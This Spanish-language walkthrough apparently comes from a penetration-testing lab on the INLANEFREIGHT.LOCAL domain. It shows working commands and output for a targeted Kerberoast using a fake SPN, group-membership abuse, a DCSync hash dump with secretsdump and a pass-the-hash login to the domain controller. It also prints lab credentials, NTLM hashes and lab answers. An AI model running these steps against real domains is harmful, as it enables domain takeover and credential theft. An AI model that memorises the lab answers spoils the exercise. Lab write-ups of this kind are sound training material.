Para resumir, investigamos el entorno de Active Directory y obtuvimos el siguiente par de credenciales:
mssqladm:DBAilfreight1!
Análisis con BloodHound
Al analizar los datos de BloodHound, observamos que tenemos permisos GenericWrite sobre usuario ttimmons. Con esto, podemos configurar un SPN falso en la cuenta ttimmons y realizar un ataque Kerberosting dirigido. Si este usuario usa una contraseña débil, podemos descifrarla y continuar.
Regresemos a la máquina DEV01 donde cargamos PowerView.
Objeto PSCredential
Podemos crear un objeto PSCredential para poder ejecutar comandos como el usuario mssqladm sin tener que volver a usar RDP.
A continuación, usaremos Set-DomainObject para configurar un SPN falso en la cuenta objetivo. Crearemos un SPN llamado acmetesting/LEGIT que, por supuesto, eliminaremos más adelante y anotaremos en los apéndices de nuestro informe.
PS C:\DotNetNuke\Portals\0> Set-DomainObject -credential $Cred -Identity ttimmons -SET @{serviceprincipalname='acmetesting/LEGIT'} -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=ttimmons)(name=ttimmons)(displayname=ttimmons))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'acmetesting/LEGIT' for object 'ttimmons
Kerberoasting dirigido
A continuación podemos regresar a nuestro host de ataque y usar GetUserSPNs.py para realizar un ataque Keberoasting dirigido.
Ahora tenemos otro par de credenciales; es hora del usuario ttimmons. Veamos qué tipo de acceso tiene este usuario. Al revisar BloodHound de nuevo, vemos que tenemos acceso GenericAll al grupo SERVER ADMINS.
Mirando un poco más allá, vemos que el grupo SERVER ADMINS tiene la capacidad de realizar el ataque DCSync para obtener hashes de contraseñas NTLM para cualquier usuario del dominio.
Ataque DCSync
Para abusar de esto, primero agregamos al usuario ttimmons al grupo SERVER ADMINS. Primero, debemos crear otro objeto PSCredential.
Una vez hecho esto, podemos agregar el usuario al grupo de destino y heredar los privilegios DCSync.
PS C:\DotNetNuke\Portals\0> $group = Convert-NameToSid "Server Admins"
PS C:\DotNetNuke\Portals\0> Add-DomainGroupMember -Identity $group -Members 'ttimmons' -Credential $timcreds -verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'ttimmons' to group 'S-1-5-21-2814148634-3729814499-1637837074-1622
Finalmente, podemos usar Impacket Secretsdump para sincronizar con DCSync todos los hashes de contraseñas NTLM del controlador de dominio.
afsh4ck@kali$ proxychains secretsdump.py ttimmons@172.16.8.3 -just-dc-ntlm
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.24.dev1+20210922.102044.c7bc76f8 - Copyright 2021 SecureAuth Corporation
Password:
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:135-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:49676-<><>-OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fd1f7e55xxxxxxxxxx787ddbb6e6afa2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b9362dfa5abf924b0d172b8c49ab58ac:::
inlanefreight.local\avazquez:1716:aad3b435b51404eeaad3b435b51404ee:762cbc5ea2edfca03767427b2f2a909f:::
inlanefreight.local\pfalcon:1717:aad3b435b51404eeaad3b435b51404ee:f8e656de86b8b13244e7c879d8177539:::
inlanefreight.local\fanthony:1718:aad3b435b51404eeaad3b435b51404ee:9827f62cf27fe221b4e89f7519a2092a:::
inlanefreight.local\wdillard:1719:aad3b435b51404eeaad3b435b51404ee:69ada25bbb693f9a85cd5f176948b0d5:::
<SNIP>
Próximos pasos
Después de documentar todos los pasos, podemos realizar diversas acciones, muchas de las cuales se detallan en la siguiente sección. Es recomendable volcar toda la base de datos NTDS y descifrar contraseñas sin conexión para que el cliente tenga una idea de la seguridad general de sus contraseñas y otras métricas.
También puede mostrar evidencia de la capacidad de autenticarse en un controlador de dominio y ejecutar algunos comandos, ya que esto puede ser más claro que ver el resultado de secretsdump, con el que quizás no estén familiarizados. Conectarse al controlador de dominio mediante RDP e incluir una captura de pantalla en el informe que muestre una consola abierta con los resultados de los comandos hostname, whoami y ipconfig /allpuede ser una excelente herramienta visual.
Además, podemos aportar mucho valor después de la administración del dominio realizando auditorías adicionales de AD, atacando las confianzas de dominio y bosque (si están dentro del alcance) y, finalmente, probando las alertas del cliente creando un nuevo administrador de dominio y un administrador de empresa o añadiendo una cuenta que controlemos a cada uno de estos grupos. Lo ideal es que supervisen estos grupos con altos privilegios y detecten esto, ya sea manualmente o, mejor aún, implementen un sistema automatizado para eliminar las cuentas de los grupos.
Si lo hacen, incluyan esta acción en el informe como un cambio de configuración en los apéndices y feliciten al cliente si lo detecta y toma las medidas correspondientes. Reconocer las acciones positivas que observan en la red o que realiza el cliente es importante y contribuye en gran medida a generar buena reputación.
Caso práctico
Objetivo: 10.129.229.147
Pregunta 1
Establece un SPN falso para el usuario ttimmons. Aprovecha el Kerberosting para este usuario y descifra el ticket TGS sin conexión para revelar su contraseña en texto plano. Envíe esta contraseña como respuesta.
Después de obtener los derechos de Domain Admin, autentícate en el controlador de dominio y envía el contenido del archivo flag.txt en el Escritorio del administrador.
Al revisar BloodHound vemos que el usuario ttimmons tiene acceso GenericAll al grupo SERVER ADMINS.
Y vemos que el grupo SERVER ADMINS tiene la capacidad de realizar el ataque DCSync para obtener hashes de contraseñas NTLM para cualquier usuario del dominio.
Ahora que ya hemos añadido al usuario ttimmons al grupo SERVER ADMINS vamos a loguearnos en el Domain Controller. Probamos a acceder por RDP y por EvilWinrm pero no conseguimos acceso, por lo que vamos a utilizar el hash del administrador que hemos conseguido en la pregunta 3:
afsh4ck@kali$ proxychains evil-winrm -i 172.16.8.3 -u administrator -H fd1f7e5564060258ea787ddbb6e6afa2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
[proxychains] Strict chain ... 127.0.0.1:8081 ... 172.16.8.3:5985 ... OK
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
inlanefreight\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/1/2022 11:34 AM 32 flag.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type flag.txt
7c09eb1fff981654a3bb3b4a**********
Pregunta 3
Compromete el dominio INLANEFREIGHT.LOCAL y descarga la base de datos NTDS. Envía el hash NT de la cuenta de administrador como respuesta.